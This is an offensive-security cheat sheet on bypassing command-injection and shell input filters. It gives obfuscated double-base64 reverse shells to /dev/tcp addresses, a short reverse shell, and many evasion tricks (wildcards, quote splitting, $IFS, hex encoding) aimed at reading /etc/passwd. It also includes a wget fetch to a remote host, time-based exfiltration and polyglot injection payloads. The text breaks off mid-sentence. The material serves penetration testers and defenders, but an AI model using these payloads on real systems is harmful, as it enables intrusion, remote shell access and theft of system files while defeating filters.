Common Limitations Bypasses
Reverse Shell
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
#echo\WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
Short Rev shell
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
Bypass Paths and forbidden words
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes / Concatenation
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
\u\n\a\m\e \-\a # uname -a
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
/\b\i\n/////s\h
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
Bypass forbidden spaces
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
Bypass backslash and slash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
Bypass with hex encoding
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
Bypass IPs
# Decimal IPs
127.0.0.1 == 2130706433
Time based data exfiltration
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
DNS data exfiltration
You could use burpcollab or pingb for example.
Polyglot command injection
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
Read-Only/Noexec Bypass
If you are inside a filesystem with the read-only and noexec protections there are still ways to execute arbitrary binaries. One of them is by the use of DDexec, yo can find an explanation of the technique in:
